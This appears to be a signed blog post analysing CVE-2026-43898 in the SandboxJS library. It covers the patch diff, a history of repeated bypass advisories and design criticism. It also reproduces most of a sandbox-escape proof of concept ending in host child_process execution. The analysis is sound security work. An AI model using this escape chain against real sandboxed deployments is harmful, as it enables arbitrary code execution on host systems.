-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The patch adds three strings\n\nCVE-2026-43898 is fixed in SandboxJS 0.9.6 by a four-line change to `src/executor/ops/prop.ts`, which registers the one handler for `LispType.Prop`. The handler is the function the sandbox executor calls every time a sandboxed program reads `a[b]`. Pre-patch, the handler had one function-specific gate, which refused reading `prototype` off a non-sandboxed function:\n\n```typescript\nconst val = a[b as keyof typeof a] as unknown;\nif (typeof a === 'function') {\n if (b === 'prototype' && !context.ctx.sandboxedFunctions.has(a)) {\n throw new SandboxAccessError(`Access to prototype of global object is not permitted`);\n }\n}\n```\n\nPost-patch, the value read moves below the gate and a second gate joins the first:\n\n```typescript\nif (typeof a === 'function') {\n if (b === 'prototype' && !context.ctx.sandboxedFunctions.has(a)) {\n throw new SandboxAccessError(`Access to prototype of global object is not permitted`);\n }\n if (['caller', 'callee', 'arguments'].includes(b as string)) {\n throw new SandboxAccessError(`Access to '${b as string}' property is not permitted`);\n }\n}\nconst val = a[b as keyof typeof a] as unknown;\n```\n\nThe diff is three lines added, one line relocated. The function's denylist now refuses four named property reads on functions (`prototype`, `caller`, `callee`, `arguments`) and the surrounding handler refuses `__proto__` in two separate places. Every gate in this file is a string-name comparison against the property the AST asked the executor to fetch.\n\n## fn.caller, evaluated inside SandboxJS, returned SandboxJS\n\nThe PoC published with CVE-2026-43898 is roughly fifty lines of JavaScript handed to `sandbox.compile().run()`. Its first line is the leak:\n\n```javascript\nconst callOp = (function fn() { return fn.caller; })();\n```\n\n`Function.caller` is a non-standard JavaScript property that, in non-strict-mode functions, returns the function that invoked the receiver. The sandboxed function `fn` was called by SandboxJS's executor in order to compute the result the AST evaluator wanted next. That executor is itself a JavaScript function, the callback registered for `LispType.Call` through `addOps`:\n\n```typescript\naddOps(LispType.Call, (params) => {\n const { done, a, b, obj, context } = params;\n if (context.ctx.options.forbidFunctionCalls)\n throw new SandboxCapabilityError('Function invocations are not allowed');\n // ...\n});\n```\n\nWhen `fn.caller` is evaluated inside `fn`, the host JavaScript engine resolves it to that `addOps` callback. SandboxJS hands the resolved value back to the sandboxed program. `callOp` now holds a host-realm reference to the function that runs every `LispType.Call` AST node inside the sandbox.\n\nThe `params` object is the executor's input. Under normal operation the parser walks the AST, binds `a`, `b`, `obj`, `context`, `done` from the surrounding compiled program, and hands the bag to the executor. The PoC builds `params` by hand:\n\n```javascript\nfunction leakStatic(obj, prop) {\n let leaked;\n callOp({\n done() {},\n a() {},\n b: [],\n obj: { context: obj, prop, get() {} },\n context: makeContext((fn) => (leaked = fn, () => 1))\n });\n return leaked;\n}\n```\n\n`makeContext` produces a `context` whose `ctx.options.forbidFunctionCalls` is `0`, so the executor's first check passes. It also installs an `evals.get` callback that captures whatever function the executor asks `evals.get` to resolve. By picking `obj.context = Object` and `obj.prop = 'defineProperty'`, the PoC walks the executor's method-call path far enough to make it ask `evals.get` for `Object.defineProperty`. The reference is captured into the closure. `leakStatic(Object, 'defineProperty')` returns the host `Object.defineProperty` directly, a static method SandboxJS is not supposed to surface.\n\n`callDirect` runs the other direction. Pass a previously-leaked host function as `obj` and the executor calls it with attacker-supplied arguments:\n\n```javascript\ncallDirect(leakStatic(Object, 'defineProperty'), [\n leakStatic,\n 'call',\n callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [\n callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),\n 'constructor'\n ])\n]);\n```\n\nRead inside out. `getPrototypeOf(() => 0)` returns `Function.prototype`. `getOwnPropertyDescriptor(Function.prototype, 'constructor')` returns a descriptor whose `value` is the host `Function` constructor. `defineProperty(leakStatic, 'call', )` overwrites `leakStatic.call` with the host `Function` constructor. The final step uses `leakStatic` one more time, with `obj.context` as a string of JavaScript source:\n\n```javascript\nlet hostFn;\ncallOp({\n done(_, result) { hostFn = result; },\n a: leakStatic,\n b: [],\n obj: {\n context: 'return process.getBuiltinModule(\"child_process\").execSync(\"whoami\").toString()',\n get() {}\n },\n context: makeContext()\n});\nreturn hostFn();\n```\n\nThe executor's path for a direct function call is `evl ? evl(obj, ...vals) : obj(...vals)`. `evals.get(obj)` returns the host `Function` constructor the PoC stored into `leakStatic.call`. `obj` is the source string. The host `Function` constructor compiles the source into a host function. That function is assigned to `hostFn`. The sandbox returns `hostFn()`. The entire pipeline executes in the host realm. `process.getBuiltinModule(\"child_process\").execSync(\"whoami\")` is the last line the sandbox runs before handing the output back to the caller of `sandbox.compile().run()`.\n\n## The executor is a function. The sandbox is a function call.\n\nSandboxJS does not run sandboxed code in a separate process. It does not run it in a Realm. It does not run it in V8 isolates. It runs it by parsing the source into a Lisp-style AST and walking the AST in the same JavaScript runtime as everything else in the embedding application. Every op the sandbox can perform, property read, function call, comparison, assignment, is registered as a host-realm JavaScript function via `addOps`. The executor is the dispatch loop that asks each op's handler to compute the next value. Sandboxed function bodies, when they execute, are called by host-realm code. The call stack at that moment is a real JavaScript call stack, and every introspection feature JavaScript provides on call stacks is, by construction, available to the sandboxed function from inside its own body.\n\n`Function.caller` is one such feature. `arguments.callee` is another. They are non-standard, deprecated, and absent from strict-mode functions, which is why the sandbox's parser did not need to do anything to allow them inside compiled sandboxed code. They are also still present in every non-strict function the host engine compiles. SandboxJS's executor functions are not in strict mode. By being non-strict, they expose themselves to any sandboxed code that asks the right way.\n\nThe patch's response is to refuse `caller`, `callee`, and `arguments` as readable property names off function values. That closes the specific path CVE-2026-43898 uses to capture the executor. It does not close, and from inside the same realm cannot close, the larger fact: the executor is a JavaScript function in the host realm, and the sandbox runs every sandboxed function body by passing it as an argument to the executor.\n\n## Ten advisories in four months\n\nThe commit log on `src/executor/ops/prop.ts` and its pre-restructure predecessor `src/executor.ts` lists seven security commits between mid-January and mid-May 2026:\n\n| Date | Commit | GHSA advisories closed |\n|------|--------|------------------------|\n| 2026-01-16 | 345aee6 | GHSA-wxhw-j4hc-fmq6 |\n| 2026-01-30 | 75c8009 | GHSA-9p4w-fq8m-2hp7 |\n| 2026-02-05 | 67cb186 | GHSA-jjpw-65fv-8g48, GHSA-66h4-qj4x-38xp, GHSA-58jh-xv4v-pcx4, GHSA-7x3h-rm86-3342 |\n| 2026-02-08 | f369f8d | GHSA-ww7g-4gwx-m7wj |\n| 2026-03-13 | e01505b | GHSA-6r9f-759j-hjgv |\n| 2026-04-03 | abc02f6 | GHSA-2gg9-6p7w-6cpj |\n| 2026-05-09 | 8268652 | GHSA-g8f2-4f4f-5jqw (CVE-2026-43898) |\n\nTen advisories, four months, one library, one bug class. The commit subjects are not paraphrases of each other. The phrase `fix(security): harden sandbox against code execution bypass` appears verbatim in all seven, with the GHSA list parenthesized at the end. The library has not converged. Each new fix is a denylist entry added at the seam closest to the leak the new researcher reported. The test suite gains a `security.data.ts` row whose expected sandboxed-mode output is `\"/Access to '' property is not permitted/\"`. The denylist grows by one or two strings per advisory and stretches across `prop.ts`, `eval.ts`, `executor.ts`, `Sandbox.ts`, `parser.ts`, and `utils.ts`.\n\nThe README, in paragraph three, frames the substrate directly:\n\n> every function inherits the `Function` prototype, and can invoke `eval` by calling its constructor, essentially making `eval` at most two properties away from anything in js.\n\nThe framing is correct. The library's job is to enumerate those two properties, the prototype-chain step and the `constructor` step, and to refuse them. Plus everything else that gives back the same primitive: `__proto__`, `prototype`, `caller`, `callee`, `arguments`, `Symbol.species`, `Symbol.iterator`, `%AsyncGeneratorPrototype%`, `WebAssembly.JSTag`. Each of these has been the substrate for a sandbox-escape CVE in some JavaScript-in-JavaScript sandbox in the last eighteen months. The library's response, three paragraphs later in the same README, says what the response has to be:\n\n> SandboxJS solves this problem by parsing js code and executing it though its own js runtime, while in the process checking every single prototype function that is being called.\n\nChecking every single prototype function is the work. The denylist is the form the work takes. Each new CVE is the next prototype function the check did not yet name.\n\n## The denylist is the design\n\nThis is [the-detector-is-the-target](/patterns/the-detector-is-the-target) at the property-read seam. The product's role is containment of code the consumer cannot inspect; the role obligation forces the library's interpreter to live in the same JavaScript realm as the JavaScript values it inspects. The realm boundary is the only stand the consumer has. Every host-language introspection vector that crosses the boundary becomes the next CVE. SandboxJS is the smaller-library, less-famous sibling of vm2; [Handlebars's CVE-2026-33937](/posts/handlebars-cve-2026-33937-trusts-its-own-ast) is the same shape one layer up, where the artifact crossing the boundary is a parsed AST rather than a function call.\n\nIt is also [unpatchable-primitive](/patterns/unpatchable-primitive) at the substrate. The patches close the instances researchers ship: a missing string on the property-read denylist, a missing wrap on a host method, a missing identity check on an executor params bag. The primitive itself, the host language's choice to ship reflection that crosses non-strict function boundaries, is what the README admits in its first technical paragraph. The next bypass is the next reflection vector a researcher names. Strict-mode functions cannot expose `caller`; the executor's functions are not strict. `Symbol.species` reaches through Proxy traps because V8 reads the slot in C++. `%AsyncGeneratorPrototype%.next`'s exception path crosses realms because the engine routes it through C++. The substrate has more entries than any denylist will ever finish enumerating from inside JavaScript. The [llama.cpp deserializer](/posts/llama-cpp-cve-2026-34159-deserializer-three-cves-have-not-patched) is the same recurrence shape in a different language at a different layer: three CVEs reach the same primitive, three patches do not touch it.\n\nvm2's README, when its maintainers gave up on the project in late 2023, ended with the line \"New bypasses will likely be discovered in the future.\" SandboxJS's README does not say that. The commit history does. Seven commits in four months with the same subject line is the same admission, written one entry at a time.\n\nPoC: [GHSA-g8f2-4f4f-5jqw](https://github.com/advisories/GHSA-g8f2-4f4f-5jqw)","closing_line":"SandboxJS does not have a tenth bug. It has one bug, found ten times in four months.","hook_md":"The patch for CVE-2026-43898 is four lines in one file. Three of those lines are the string literals `'caller'`, `'callee'`, and `'arguments'`, added to a denylist in the function that resolves property reads on functions. The denylist had one entry on functions before this commit. Between January 16 and May 9, 2026, SandboxJS shipped seven commits whose subjects begin `fix(security): harden sandbox against code execution bypass`, closing ten distinct GHSA advisories in four months. The May 9 commit is the one that turned `(function fn() { return fn.caller; })()` into a SandboxAccessError.","post_id":363,"slug":"sandboxjs-cve-2026-43898-tenth-bypass-in-four-months","title":"CVE-2026-43898: SandboxJS's Tenth Code-Execution Bypass in Four Months","type":"initial","unreadable_sentence":"fn.caller, evaluated inside SandboxJS, returned SandboxJS."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCakVT0gAKCRDeZjl4jgkQ Jim3APwOpP5HDu4wJDACI5jlk3BBVg9mmEO39t2dpa9AUvRqrgD+MhUeOVz+9Jtx MVJgfoC7yIYB134orBSR6tuIZbXWVgM= =jXAq -----END PGP SIGNATURE-----